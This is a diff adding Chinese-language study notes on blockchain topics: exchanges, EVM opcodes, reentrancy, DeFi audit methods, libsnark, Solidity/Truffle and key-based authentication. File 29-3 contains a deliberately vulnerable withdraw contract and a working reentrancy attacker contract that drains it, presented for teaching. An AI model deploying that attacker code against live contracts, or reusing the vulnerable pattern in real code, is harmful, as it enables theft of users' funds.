diff --git a/Chapter29/29-1.md b/Chapter29/29-1.md
new file mode 100644
index 0000000..38ec211
--- /dev/null
+++ b/Chapter29/29-1.md
@@ -0,0 +1,77 @@
+### 说说交易所
+
+**什么是加密货币交易所？**
+
+加密货币交易所（Crypto Exchange）是允许用户交易（买卖）加密货币的平台。你可以把它想象成一个数字化的股票交易所，只不过交易的对象从股票、债券变成了比特币、以太坊等数字资产
+
+**交易所的运作模式**
+
+交易所的核心功能是撮合买卖双方的交易。这通常通过一个**订单簿**（Order Book）系统来实现。
+
+**订单簿**
+
+订单簿记录了所有用户提交的买入和卖出订单。一个典型的订单簿包括：
+
+- **买单（Bid）**：用户想要以某个价格买入加密货币的意向
+- **卖单（Ask）**：用户想要以某个价格卖出加密货币的意向
+
+当一个买单的价格与一个卖单的价格相匹配时，交易就会自动执行。这个匹配的价格就是**市场价格**
+
+**交易深度**
+
+交易深度（Market Depth）是订单簿中各个价格点的买卖订单数量总和。它反映了市场的流动性：
+
+- **深度高**：意味着在当前价格附近有大量的买卖订单。即使有大额交易，价格也不会出现剧烈波动，市场流动性好
+- **深度低**：意味着订单稀少。一笔大额交易就可能导致价格大幅波动，市场流动性差
+
+**交易手续费**
+
+交易所通过收取交易手续费来盈利。手续费通常按交易金额的一定比例收取，具体费率取决于用户的交易量、持有平台币（如币安的 BNB）的情况以及 VIP 等级
+
+**交易所的类型**
+
+根据其运作方式和中心化程度，交易所可以分为以下几大类：
+
+**1. 中心化交易所（CEX）**
+
+这是目前最主流的交易所类型，如币安（Binance）、Coinbase、欧易（OKX）
+
+**特点：**
+
+- **中心化管理**：所有用户的资产都存放在交易所的钱包里，用户没有私钥的完全控制权。你相信交易所来保管你的资产
+- **高性能**：交易都在链下（Off-chain）进行，速度快，吞吐量高，能够处理大量高频交易
+- **功能丰富**：除了现货交易，通常还提供合约交易、杠杆交易、理财产品、IEO（首次交易所发行）等服务
+- **监管和合规**：为了保护用户和应对监管要求，CEX通常需要用户完成**KYC**（Know Your Customer，了解你的客户）身份认证
+
+**优势：**
+
+- **易用性**：用户界面友好，操作简单，适合新手
+- **流动性好**：拥有庞大的用户基础和交易量
+- **安全性（相对）**：由专业团队维护，有更完善的安全措施和风控系统（如冷钱包存储、多重签名等），但仍存在被黑客攻击的风险。
+
+**2. 去中心化交易所（DEX）**
+
+DEX 是基于区块链智能合约运行的交易所，如Uniswap、PancakeSwap
+
+**特点：**
+
+- **去中心化**：资产直接由用户的钱包控制，用户掌握私钥，无需将资产托管给第三方
+- **无须许可**：任何人都可以通过提供流动性成为做市商，无需注册或 KYC
+- **自动化做市商（AMM）**：DEX 多采用 AMM 模式，而不是传统的订单簿。流动性提供者（LP）将两种代币存入一个**流动性池**，交易者可以直接与这个流动性池进行交易
+- **链上交易**：每笔交易都在区块链上进行，公开透明，但受限于区块链本身的性能（速度和费用）
+
+**优势：**
+
+- **资产自主权**：用户完全控制自己的资产，不存在交易所跑路或被盗的风险
+- **抗审查性**：不受单一实体控制，难以被关闭或冻结
+- **隐私性**：无需 KYC
+
+**劣势：**
+
+- **易用性相对较差**：需要用户自己管理钱包和私钥，对新手不太友好
+- **滑点问题**：对于大额交易，AMM 模式可能会出现较高的滑点
+- **无偿损失**：流动性提供者可能会面临无偿损失（Impermanent Loss）的风险
+
+**3. 混合交易所（Hybrid Exchange）**
+
+混合交易所试图结合 CEX 和 DEX 的优点，通常将部分功能（如订单撮合）放在链下以提高效率，而将资产结算和托管放在链上以确保安全和去中心化。这种模式目前仍在发展中，但尚未成为主流
\ No newline at end of file
diff --git a/Chapter29/29-2.md b/Chapter29/29-2.md
new file mode 100644
index 0000000..40118e6
--- /dev/null
+++ b/Chapter29/29-2.md
@@ -0,0 +1,32 @@
+### 讲一讲区块链逆向函数涉及到的接收参数的指令集
+
+当你在逆向一个 EVM 字节码时，你会发现函数参数的传递和处理主要涉及到以下几种指令集和概念：
+
+**1. `CALLDATALOAD` 和 `CALLDATASIZE`**
+
+- **`CALLDATALOAD`**: 这个指令用于从**交易的调用数据（calldata）**中加载参数。`calldata` 是一个只读的、外部调用的数据区域，它存储了函数选择器（Function Selector）和所有传入的参数。`CALLDATALOAD` 接收一个内存偏移量作为参数，然后从该偏移量处加载一个32字节（256位）的数据到栈顶
+  - **逆向分析中的应用**: 当你看到一个 `CALLDATALOAD` 指令时，你需要查看它加载的偏移量
+    - `0x04` 偏移量通常是第一个参数的开始。这是因为前4个字节（`0x00`到`0x03`）是函数选择器，用于识别要调用的函数
+    - 随后的偏移量（例如 `0x24`、`0x44` 等）则对应后续的参数
+- **`CALLDATASIZE`**: 这个指令用于获取 `calldata` 的总大小。在逆向分析中，它通常用于进行边界检查，确保传入的参数数量和大小是正确的
+
+**2. `ISZERO` 和 `JUMPI`**
+
+- **`ISZERO`**: 这是一个判断指令，用于检查栈顶的值是否为零。在处理参数时，它通常用于检查某个参数是否为空或为0
+- **`JUMPI`**: 这是一个条件跳转指令。它接收两个参数：一个目标地址和一个条件。如果条件非零，程序执行流将跳转到目标地址
+  - **逆向分析中的应用**: 你会看到 `ISZERO` 和 `JUMPI` 常常配合使用，用于**函数签名检查**。当函数签名（前4个字节）与预期的签名不匹配时，`JUMPI` 就会将程序跳转到错误处理代码块，如 `revert` 或 `invalid jump`。这是逆向分析中识别不同函数入口点的关键
+
+**3. `EQ`, `LT`, `GT` (比较指令)**
+
+- **`EQ`**: 比较栈顶的两个值是否相等
+- **`LT`**: 比较栈顶的第一个值是否小于第二个值
+- **`GT`**: 比较栈顶的第一个值是否大于第二个值
+  - **逆向分析中的应用**: 这些比较指令经常用于对传入的参数进行验证，例如检查一个数值参数是否在某个范围内，或者一个地址参数是否等于合约所有者的地址
+
+**4. `MSTORE` 和 `MLOAD`**
+
+虽然这两个指令不直接用于接收参数，但在处理和使用参数时它们是不可或缺的
+
+- **`MSTORE`**: 将栈顶的32字节数据存储到指定的内存（Memory）位置
+- **`MLOAD`**: 从指定的内存位置加载32字节数据到栈顶
+  - **逆向分析中的应用**: 传入的参数通常会先从 `calldata` 加载到栈上，然后使用 `MSTORE` 存储到内存中以供后续计算或处理。当你看到一个 `MSTORE` 指令时，它通常意味着一个参数正在被复制到内存中
\ No newline at end of file
diff --git a/Chapter29/29-3.md b/Chapter29/29-3.md
new file mode 100644
index 0000000..4d6dae9
--- /dev/null
+++ b/Chapter29/29-3.md
@@ -0,0 +1,77 @@
+### 说说重入漏洞
+
+**什么是重入漏洞？**
+
+简单来说，重入漏洞发生在以下情况： 一个智能合约在**调用外部合约或地址**（如通过`call`、`send`或`transfer`发送以太币）之后，**未及时更新内部状态**
+
+当外部合约或地址接收到以太币时，它可以执行一个**回退函数**（Fallback Function）。如果这个回退函数中又包含一个对原始合约的调用，那么它就可以在原始合约的状态（比如余额记录）更新之前，再次执行之前的函数，形成一个无限循环，直到合约中的以太币被取光
+
+**重入漏洞的经典案例：The DAO**
+
+最具代表性的重入漏洞攻击是发生在 2016 年的 **The DAO** 事件。当时，黑客利用这个漏洞从 The DAO 智能合约中盗取了价值超过 6000 万美元的以太币。这次攻击导致了以太坊社区的巨大分歧，最终促成了以太坊（ETH）和以太坊经典（ETC）的分叉
+
+**重入漏洞的工作原理**
+
+我们以一个简单的取款合约为例来详细解释这个过程：
+
+**存在漏洞的合约代码**
+
+```solidity
+contract VulnerableContract {
+    mapping(address => uint256) public balances;
+
+    function withdraw() public {
+        // 步骤 1: 检查用户余额
+        uint256 amount = balances[msg.sender];
+
+        // 步骤 2: 将以太币发送给用户
+        // 这是一个危险的操作，因为`call`会触发接收方的回退函数
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "Transfer failed.");
+
+        // 步骤 3: 更新用户余额
+        // 这步在外部调用之后，是漏洞的关键
+        balances[msg.sender] = 0;
+    }
+
+    // 其他函数...
+}
+```
+
+**黑客合约代码**
+
+```solidity
+contract Attacker {
+    VulnerableContract vulnerableContract;
+
+    constructor(address _vulnerableContract) {
+        vulnerableContract = VulnerableContract(_vulnerableContract);
+    }
+
+    // 步骤 1: 首次调用受害合约的提款函数
+    function attack() public payable {
+        vulnerableContract.withdraw();
+    }
+
+    // 步骤 2: 回退函数，当接收到以太币时被触发
+    fallback() external payable {
+        // 如果受害合约的余额大于 0，再次调用它的提款函数
+        if (address(vulnerableContract).balance > 0) {
+            vulnerableContract.withdraw();
+        }
+    }
+}
+```
+
+**攻击流程解析：**
+
+1. **准备**：黑客向 `VulnerableContract` 存入少量以太币，以获得一个非零的余额
+2. **首次调用**：黑客通过 `Attacker` 合约调用 `VulnerableContract` 的 `withdraw()` 函数
+3. **漏洞触发**：
+   - `VulnerableContract` 检查黑客余额，然后向 `Attacker` 合约发送以太币
+   - `Attacker` 合约接收到以太币后，其 `fallback` 函数被立即触发
+   - 在 `fallback` 函数中，黑客再次调用 `VulnerableContract` 的 `withdraw()` 函数
+4. **递归循环**：
+   - 由于 `VulnerableContract` 的 `balances[msg.sender] = 0` 这一行代码**尚未执行**，`VulnerableContract` 以为黑客的余额仍然存在
+   - `withdraw()` 函数再次执行，又一次向 `Attacker` 合约发送以太币，再次触发 `fallback` 函数
+5. **耗尽资金**：这个过程会反复进行，直到 `VulnerableContract` 中的所有以太币被耗尽
\ No newline at end of file
diff --git a/Chapter29/29-4.md b/Chapter29/29-4.md
new file mode 100644
index 0000000..9a6269e
--- /dev/null
+++ b/Chapter29/29-4.md
@@ -0,0 +1,63 @@
+### 在 DeFi 项目中建立了各种各样的经济模型，怎样才能找出可能存在的漏洞
+
+**1. 深入理解协议设计**
+
+在审计代码之前，首先要**彻底理解协议的白皮书和经济模型**。你需要问自己一些核心问题：
+
+- **激励机制**：协议如何激励用户参与？例如，流动性挖矿的奖励是如何计算和分配的？这些激励是否可持续？
+- **惩罚机制**：当用户行为不符合协议预期时（例如，借贷逾期、清算失败），如何进行惩罚？惩罚是否足够威慑？
+- **资产关系**：协议中的各种资产（例如，原生代币、LP Token、抵押品）之间是如何互相影响的？它们的价格波动会如何影响彼此的价值？
+
+仅仅看代码是不够的，很多漏洞是**设计上的缺陷**，而不是简单的编程错误
+
+**2. 识别常见的经济模型攻击模式**
+
+以下是一些 DeFi 经济模型中常见的攻击手法，你需要特别关注：
+
+**a. 闪电贷攻击**
+
+这是目前最常见且最具破坏力的 DeFi 攻击方式。闪电贷允许攻击者在单笔交易中借入巨额资金，而无需任何抵押。攻击者利用这笔资金，通过操纵价格、进行套利或清算，来攻击协议
+
+**审计方向：**
+
+- **价格预言机（Price Oracle）**：检查项目是否依赖单一或不稳定的价格预言机。如果价格来源容易被操纵（例如，只从一个 DEX 获取），那么它就可能成为攻击的弱点
+- **交易顺序依赖（MEV）**：检查是否存在利用交易顺序进行套利或攻击的可能性
+- **清算机制**：如果清算依赖于链上预言机，攻击者可能会在清算时机到来前，通过闪电贷操纵价格，导致清算失败或以不公平的价格进行清算
+
+**b. 预言机操纵**
+
+如果协议使用链上数据源作为价格预言机（例如，从 Uniswap 获取），攻击者可以利用闪电贷注入大量资金，暂时性地抬高或压低价格，从而实现套利或攻击
+
+**审计方向：**
+
+- **价格来源**：优先使用去中心化、多源聚合的预言机，例如 **Chainlink**
+- **时间加权平均价（TWAP）**：检查是否使用了 TWAP 等机制来平滑价格波动，降低被闪电贷瞬间操纵的风险
+
+**c. 抵押品操纵**
+
+一些借贷协议允许用户使用项目自身的治理代币作为抵押品。如果代币价格下跌，可能导致抵押品价值不足。更糟糕的是，攻击者可能会通过做空或其他方式，故意压低代币价格来清算其他用户的头寸
+
+**审计方向：**
+
+- **抵押品类型**：检查是否允许使用高波动性或流动性差的资产作为抵押品
+- **清算阈值**：清算阈值（Liquidation Threshold）的设置是否合理？是否存在“死亡螺旋”的风险，即代币价格下跌导致大量清算，清算又进一步压低价格？
+
+**d. 无限制铸币**
+
+如果协议代币的铸造没有受到严格限制，攻击者可能会通过某种方式（例如，利用代码漏洞或经济模型中的套利机会）无限铸造代币，导致代币供应量剧增，价值归零
+
+**审计方向：**
+
+- **铸币函数**：重点审计所有 `mint`、`create` 或类似的代币生成函数
+- **权限控制**：谁有权调用这些铸币函数？是否有多重签名或时间锁来保护？
+
+**3. 系统化的审计流程**
+
+要找到这些漏洞，需要一个结构化的审计流程：
+
+1. **代码审计**：使用自动化工具（如 Slither、Mythril）进行初步扫描，然后进行手动代码审查，特别关注 `transfer`、`call` 等外部调用
+2. **经济模型模拟**：建立一个模型，模拟不同市场条件（例如，价格剧烈波动、流动性枯竭）和攻击场景下的协议行为
+3. **单元测试与模糊测试**：编写大量的测试用例，涵盖所有可能的极端情况和用户行为。使用模糊测试工具（Fuzzing）输入异常数据，观察合约行为
+4. **激励机制博弈分析**：将自己置于“攻击者”的角色，思考如何利用协议的激励机制来获取不正当收益。例如，能否通过一个闪电贷，先进行套利，再归还贷款？
+
+总而言之，审计一个 DeFi 项目的经济模型漏洞，远比单纯的代码审计复杂。它需要对**区块链机制、智能合约、博弈论和金融市场**有深刻的理解
\ No newline at end of file
diff --git a/Chapter29/29-5.md b/Chapter29/29-5.md
new file mode 100644
index 0000000..8c0b726
--- /dev/null
+++ b/Chapter29/29-5.md
@@ -0,0 +1,35 @@
+### libsnark 核心是什么
+
+**libsnark** 是一个 C++ 库，它提供了一套用于构建和验证**简洁非交互式知识论证**（Succinct Non-Interactive Arguments of Knowledge，简称 **SNARKs**）的算法和工具。
+
+简单来说，SNARKs 是一种强大的加密技术，它允许**证明者**（prover）向**验证者**（verifier）证明某个陈述是真实的，而无需向验证者透露任何敏感信息。这个证明过程非常高效：**证明本身很小**，**验证速度极快**，而且**验证者不需要与证明者进行交互**
+
+**libsnark 的核心功能**
+
+libsnark 的核心在于它实现了多种**零知识证明**方案。这些方案可以分为几个主要部分：
+
+**1. 算术化**
+
+这是将一个计算问题转换为一个数学可证明形式的第一步。libsnark 主要使用了两种方法：
+
+- **QAP (Quadratic Arithmetic Programs)**：将一个计算问题（如一个程序或电路）转换为一个二次算术程序。这是最经典的 SNARK 方案之一，被用于 Zcash 的第一代版本
+- **R1CS (Rank-1 Constraint Systems)**：这是一种更基础的算术化形式，它将问题表示为一系列线性方程组。libsnark 支持将 QAP 转换为 R1CS，并提供了相应的工具
+
+**2. 多项式承诺**
+
+在 SNARKs 中，证明者需要证明一个多项式满足某些性质，而无需透露整个多项式。libsnark 提供了多种多项式承诺方案，例如基于**配对曲线（Pairing-based Elliptic Curves）**的方案，这些方案是高效且安全的
+
+**3. zk-SNARK 协议实现**
+
+libsnark 实现了完整的 zk-SNARK 协议，包括：
+
+- **可信设置（Trusted Setup）**：这是 SNARKs 的一个重要步骤，需要生成一个公共的参数集合。libsnark 提供了生成和验证这些参数的工具
+- **证明生成（Proof Generation）**：通过这个过程，证明者可以生成一个简洁的零知识证明
+- **证明验证（Proof Verification）**：验证者可以使用公共参数和证明，快速验证陈述的真实性
+
+**4. 密码学原语**
+
+libsnark 依赖于强大的密码学原语，例如：
+
+- **配对友好的椭圆曲线（Pairing-friendly Elliptic Curves）**：例如 BN254、BLS12-381 等。这些曲线是实现高效零知识证明的基础
+- **哈希函数**：用于数据完整性检查
\ No newline at end of file
diff --git a/Chapter29/29-6.md b/Chapter29/29-6.md
new file mode 100644
index 0000000..2798f92
--- /dev/null
+++ b/Chapter29/29-6.md
@@ -0,0 +1,56 @@
+### truffle、solidity 了解吗
+
+**1. Solidity：智能合约的编程语言**
+
+**Solidity** 是一种面向合约的高级编程语言，专门为以太坊虚拟机（EVM）设计。你可以把它想象成智能合约领域的 JavaScript。它的语法借鉴了 JavaScript、C++ 和 Python，但针对智能合约的特殊性做了很多优化。
+
+**核心特点：**
+
+- **静态类型**：Solidity 是一种静态类型语言，这意味着所有变量的类型都必须在编译时确定。这有助于在早期发现错误，提高合约的安全性
+- **面向合约**：它的设计思想是“合约”，一个合约可以包含状态变量（存储在区块链上）、函数（可执行的代码）以及事件（用于与外部应用通信）
+- **EVM 兼容性**：Solidity 代码被编译成 EVM 字节码，可以在任何以太坊兼容的区块链上运行
+- **内置安全特性**：它提供了一些内置功能来处理以太坊特有的操作，例如处理以太币的 `payable` 函数、处理外部调用的 `call` 方法等
+
+**举个例子：一个简单的存钱合约**
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract SimpleStorage {
+    uint public data; // 状态变量，存储在区块链上
+
+    function setData(uint _data) public {
+        data = _data;
+    }
+
+    function getData() public view returns (uint) {
+        return data;
+    }
+}
+```
+
+这段代码定义了一个合约，可以存储一个整数。**Solidity** 负责编写这段逻辑，而接下来，就需要 **Truffle** 来将这段代码部署到区块链上
+
+**2. Truffle：开发框架与工具集**
+
+**Truffle** 是一个全面的开发框架，专门用于帮助开发者编译、部署、测试和调试 Solidity 智能合约。如果你把 **Solidity** 看作是“建筑材料”，那么 **Truffle** 就是“建筑工具箱”。它极大地简化了智能合约的开发流程
+
+**核心功能：**
+
+- **智能合约管理**：Truffle 提供了标准的项目目录结构，方便你组织合约代码、测试文件和部署脚本
+- **编译**：它内置了 Solidity 编译器，可以自动将你的 `.sol` 文件编译成 EVM 字节码和 ABI（应用二进制接口）文件
+- **迁移与部署**：这是 Truffle 最强大的功能之一。你可以编写“迁移脚本”（migration scripts），这些脚本会告诉你如何按顺序将合约部署到不同的网络（如本地测试网、Ropsten、主网）。它会自动处理部署过程中的依赖关系
+- **自动化测试**：Truffle 提供了强大的测试框架，你可以用 JavaScript 或 Solidity 来编写合约的自动化测试用例，确保合约的逻辑正确和安全
+- **控制台**：Truffle 附带了一个交互式控制台，你可以直接与部署在区块链上的合约进行交互，调用函数和查询状态
+- **本地区块链**：Truffle 捆绑了 **Ganache**，一个本地的以太坊测试网络，方便你在不连接真实网络的情况下快速开发和测试
+
+**Truffle 如何工作？**
+
+Truffle 的工作流通常是这样的：
+
+1. **项目初始化**：使用 `truffle init` 命令创建一个新的项目
+2. **编写合约**：在 `contracts` 文件夹中用 **Solidity** 编写你的智能合约
+3. **编写部署脚本**：在 `migrations` 文件夹中编写部署脚本，告诉 Truffle 部署哪个合约，以及部署到哪个网络
+4. **编译与部署**：使用 `truffle compile` 和 `truffle migrate` 命令来编译合约并将其部署到你选择的网络上
+5. **测试**：使用 `truffle test` 命令运行你的测试用例
\ No newline at end of file
diff --git a/Chapter29/29-7.md b/Chapter29/29-7.md
new file mode 100644
index 0000000..65c933b
--- /dev/null
+++ b/Chapter29/29-7.md
@@ -0,0 +1,42 @@
+### 智能合约的鉴权、公私密钥
+
+**什么是鉴权？**
+
+在传统中心化系统中，鉴权通常是指验证用户身份的过程，比如通过用户名和密码登录。但在区块链和智能合约中，鉴权的方式完全不同，它依赖于密码学而非用户名
+
+在智能合约中，**鉴权就是验证发起交易的账户是否拥有执行某个特定操作的权限**。这个验证过程通常通过**数字签名**（Digital Signature）来实现
+
+当你从一个地址向智能合约发送一笔交易时，这笔交易中包含了你想要执行的函数和参数。为了证明这笔交易确实是你发起的，你需要用你的**私钥**对交易数据进行签名
+
+智能合约或区块链网络会使用与你私钥对应的**公钥**来验证这个签名。如果签名验证成功，系统就会确认这笔交易的合法性，并执行相应的操作
+
+**公私密钥：鉴权的基石**
+
+公私密钥对是区块链鉴权的核心。它基于非对称加密算法（如椭圆曲线加密算法）。
+
+**1. 私钥（Private Key）**
+
+- **定义**：一个随机生成的、非常长的数字。它就像你银行账户的密码，是你的**身份唯一凭证**
+- **功能**：用于**对交易进行数字签名**。只有私钥持有者才能生成有效的签名
+- **安全性**：私钥必须绝对保密。一旦泄露，你的所有资产都可能被盗
+- **形象比喻**：你的**银行卡密码**
+
+**2. 公钥（Public Key）**
+
+- **定义**：从私钥通过加密算法推导出来的一串数字
+- **功能**：用于**验证私钥生成的数字签名**。任何人都可以拥有你的公钥，就像任何人都可以拥有你的银行账户号码。公钥可以公开，因为无法通过公钥反向推导出私钥
+- **形象比喻**：你的**银行账户号码**
+
+**3. 地址（Address）**
+
+- **定义**：由公钥通过哈希函数派生出来的一串字符
+- **功能**：用于接收和发送资产，是你在区块链上的**公开身份**
+
+**工作流程总结：**
+
+1. 你想要调用智能合约中的一个函数（比如提款）
+2. 你用**私钥**对交易数据（包括函数名、参数和目标合约地址）进行**签名**
+3. 你将签了名的交易广播到区块链网络
+4. 网络中的节点接收到交易后，会使用你的**公钥**来**验证签名**
+5. 如果签名有效，交易被确认，并被打包进一个区块
+6. 智能合约执行你请求的操作
\ No newline at end of file
diff --git a/Chapter29/29-8.md b/Chapter29/29-8.md
new file mode 100644
index 0000000..6431f9d
--- /dev/null
+++ b/Chapter29/29-8.md
@@ -0,0 +1,34 @@
+### 数字钱包的身份认证
+
+**数字钱包的身份认证：一个去中心化的过程**
+
+在区块链和加密货币的世界里，数字钱包的**身份认证**（Authentication）与我们习惯的传统银行或互联网服务的身份认证截然不同。它不是通过用户名和密码，而是通过一种基于**密码学**的、去中心化的方式来完成
+
+这个过程的核心是**公私密钥对**。你可以把它们想象成一套独特的钥匙，这套钥匙代表了你在区块链上的身份和资产所有权
+
+**1. 核心机制：公私密钥对**
+
+每个数字钱包都包含一个独一无二的**私钥**（Private Key）。这个私钥是一个非常长的随机数字，它就像你银行保险箱的唯一密码
+
+- **私钥**是你的**所有权证明**：只有拥有私钥，你才能控制钱包里的资产
+- **私钥**用于**签名**（Signing）：当你想要进行一笔交易（比如转账或与智能合约交互）时，你需要用你的私钥对这笔交易数据进行数字签名
+
+与私钥配对的是一个**公钥**（Public Key）。公钥是从私钥通过加密算法生成的，它就像你的银行账户号码
+
+- **公钥**用于**验证**：任何人都可以使用你的公钥来验证你用私钥生成的签名是否有效
+- **公钥**是公开的：即使公开了公钥，攻击者也无法反向推导出私钥
+
+最终，你的**钱包地址**（Wallet Address）是根据公钥生成的。它是你接收资金的公开身份，你可以放心地分享给任何人
+
+**2. 身份认证的工作流程**
+
+那么，钱包是如何使用这个机制来验证你的身份的呢？整个过程是自动化的，对用户来说是透明的，但背后的原理可以分解为几个步骤：
+
+1. **用户发起交易**：你在钱包应用中点击“发送”或“批准”一个交易，并输入相关信息（比如接收地址和金额）
+2. **钱包生成交易数据**：钱包会创建一个原始交易数据包，其中包含所有交易细节
+3. **私钥签名**：你的钱包会使用你独有的私钥对这个数据包进行加密签名，生成一个**数字签名**
+4. **广播交易**：带有数字签名的完整交易数据包被广播到区块链网络
+5. **网络节点验证**：网络中的每个节点收到这笔交易后，都会使用你钱包的公钥来验证签名
+6. **身份认证成功**：如果签名验证成功，意味着这笔交易确实是由拥有该私钥的人发起的。这笔交易随后会被打包到区块中，并最终完成
+
+这个过程有效地证明了“你就是你”，而无需向任何中心化机构透露你的身份信息